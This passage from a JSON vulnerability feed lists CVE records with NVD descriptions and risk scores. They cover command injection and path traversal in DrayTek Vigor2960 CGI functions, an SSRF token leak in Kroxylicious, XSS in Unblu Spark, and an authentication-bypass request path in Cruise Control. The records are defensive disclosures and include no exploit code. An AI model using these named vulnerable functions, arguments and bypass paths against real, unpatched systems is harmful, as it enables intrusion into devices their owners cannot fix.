fixes.","publishedAt":"2026-10-20T14:16:59.320Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113395","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00397,"percentile":0.33662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113395&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113395","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113395","type":"primary","publishedAt":"2026-10-20T14:16:59.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113395&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113395, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113394","cveId":"CVE-2026-113394","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi.","summary":"A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi. The manipulation of the argument setSWMProfile leads to path traversal. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi. The manipulation of the argument setSWMProfile leads to path traversal. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T14:16:59.140Z","updatedAt":"2026-10-22T22:18:03.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113394","asOf":"2026-10-22T22:18:03.770Z"},"epss":{"probability":0.00377,"percentile":0.31428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113394&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113394","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113394","type":"primary","publishedAt":"2026-10-20T14:16:59.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113394&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113394, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113619","cveId":"CVE-2026-113619","aliases":[],"kind":"vulnerability","title":"In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before...","summary":"In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before authentication and RBAC. The bearer check does not reject a missing or invalid token, and the auth rate limit applies only to user login routes. A small JSON body can stall or abort the Controller process. The anonymous caller does not receive the rendered result; the impact is availability of the control plane, including the agent API and in-process WebSocket relays on that process.","detail":"In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before authentication and RBAC. The bearer check does not reject a missing or invalid token, and the auth rate limit applies only to user login routes. A small JSON body can stall or abort the Controller process. The anonymous caller does not receive the rendered result; the impact is availability of the control plane, including the agent API and in-process WebSocket relays on that process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T13:16:41.473Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113619","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00403,"percentile":0.34321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113619&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113619","type":"primary","publishedAt":"2026-10-20T13:16:41.473Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113619&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113619, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113392","cveId":"CVE-2026-113392","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload.","summary":"A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload. Performing a manipulation of the argument action results in path traversal. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 1.5.1.7 is able to resolve this issue. Upgrading the affected component is advised. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This vulnerability affects unknown code of the file /cgi-bin/mainfunction.cgi of the component Apmupload. Performing a manipulation of the argument action results in path traversal. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 1.5.1.7 is able to resolve this issue. Upgrading the affected component is advised. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T13:16:40.810Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113392","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00397,"percentile":0.33662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113392&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113392","type":"primary","publishedAt":"2026-10-20T13:16:40.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113392&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113392, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113391","cveId":"CVE-2026-113391","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload...","summary":"A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload Endpoint. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.7 is able to mitigate this issue. It is recommended to upgrade the affected component. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. This affects the function uploadlangs of the file /cgi-bin/mainfunction.cgi of the component Upload Endpoint. Such manipulation leads to command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.7 is able to mitigate this issue. It is recommended to upgrade the affected component. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T13:16:40.640Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113391","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.02063,"percentile":0.81224,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113391&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113391","type":"primary","publishedAt":"2026-10-20T13:16:40.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113391&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113391, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113390","cveId":"CVE-2026-113390","aliases":[],"kind":"vulnerability","title":"A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI...","summary":"A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI Interface. This manipulation of the argument usefile/usescript/option causes os command injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI Interface. This manipulation of the argument usefile/usescript/option causes os command injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T13:16:40.463Z","updatedAt":"2026-10-22T22:18:03.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113390","asOf":"2026-10-22T22:18:03.607Z"},"epss":{"probability":0.01863,"percentile":0.79122,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113390","type":"primary","publishedAt":"2026-10-20T13:16:40.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105941","cveId":"CVE-2026-105941","aliases":[],"kind":"vulnerability","title":"The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the...","summary":"The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the proxy's Azure bearer token to an attacker-controlled host. Token replay against the real Key Vault defeats the entire record-encryption trust model.","detail":"The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the proxy's Azure bearer token to an attacker-controlled host. Token replay against the real Key Vault defeats the entire record-encryption trust model.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T13:16:39.457Z","updatedAt":"2026-10-20T20:17:12.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105941","asOf":"2026-10-20T20:17:12.970Z"},"epss":{"probability":0.00249,"percentile":0.1609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105941","type":"primary","publishedAt":"2026-10-20T13:16:39.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-14933","cveId":"CVE-2026-14933","aliases":[],"kind":"vulnerability","title":"Cross-site scripting in the embedded co-browsing feature in Unblu inc.","summary":"Cross-site scripting in the embedded co-browsing feature in Unblu inc. Unblu Spark 7.0 through 7.57.7 and 8.0 through 8.39.2, on on-premises and cloud deployments, allows an unauthenticated remote attacker in the visitor role to execute arbitrary JavaScript in the browser of an agent taking part in the attacker's co-browsing session, via content of the co-browsed page that the agent's browser renders as HTML.\n\n\n\nThe JavaScript runs in the context and under the identity of the agent's session in the Agent Desk or the Single Conversation Desk.\n\n\n\nExploitation requires an agent to join an embedded co-browsing session with the attacker. Mobile co-apping isn't affected.","detail":"Cross-site scripting in the embedded co-browsing feature in Unblu inc. Unblu Spark 7.0 through 7.57.7 and 8.0 through 8.39.2, on on-premises and cloud deployments, allows an unauthenticated remote attacker in the visitor role to execute arbitrary JavaScript in the browser of an agent taking part in the attacker's co-browsing session, via content of the co-browsed page that the agent's browser renders as HTML.\n\n\n\nThe JavaScript runs in the context and under the identity of the agent's session in the Agent Desk or the Single Conversation Desk.\n\n\n\nExploitation requires an agent to join an embedded co-browsing session with the attacker. Mobile co-apping isn't affected.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T12:17:30.057Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-14933","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.0056,"percentile":0.4632,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-14933&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-14933","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14933","type":"primary","publishedAt":"2026-10-20T12:17:30.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-14933&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-14933, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113389","cveId":"CVE-2026-113389","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the...","summary":"A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the component CGI Process. The manipulation of the argument sectiontype results in command injection. The attack may be launched remotely. The exploit is now public and may be used. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was detected in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this vulnerability is the function set_table of the file /cgi-bin/mainfunction.cgi of the component CGI Process. The manipulation of the argument sectiontype results in command injection. The attack may be launched remotely. The exploit is now public and may be used. The vendor explains: \"2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)\". This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T12:17:29.443Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["DrayTek"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113389","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.0188,"percentile":0.79302,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113389&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113389","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113389","type":"primary","publishedAt":"2026-10-20T12:17:29.443Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113389&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113389, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105949","cveId":"CVE-2026-105949","aliases":[],"kind":"vulnerability","title":"Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling...","summary":"Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling setDenyUncoveredHttpMethods(true). The servlet routes requests using Path.of(pathInfo).getFileName(), which strips all leading segments and trailing slashes. Requests like POST /kafkacruisecontrol/x/rebalance bypass authentication entirely but still dispatch to admin endpoints. All 15 admin endpoints become reachable without authentication. In AMQ Streams, the Strimzi operator's NetworkPolicy restricts Cruise Control port 9090 to operator pods only, reducing effective severity to Important.","detail":"Cruise Control's Jetty ConstraintSecurityHandler registers security constraints on exact path specs without a catch-all wildcard constraint and without calling setDenyUncoveredHttpMethods(true). The servlet routes requests using Path.of(pathInfo).getFileName(), which strips all leading segments and trailing slashes. Requests like POST /kafkacruisecontrol/x/rebalance bypass authentication entirely but still dispatch to admin endpoints. All 15 admin endpoints become reachable without authentication. In AMQ Streams, the Strimzi operator's NetworkPolicy restricts Cruise Control port 9090 to operator pods only, reducing effective severity to Important.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 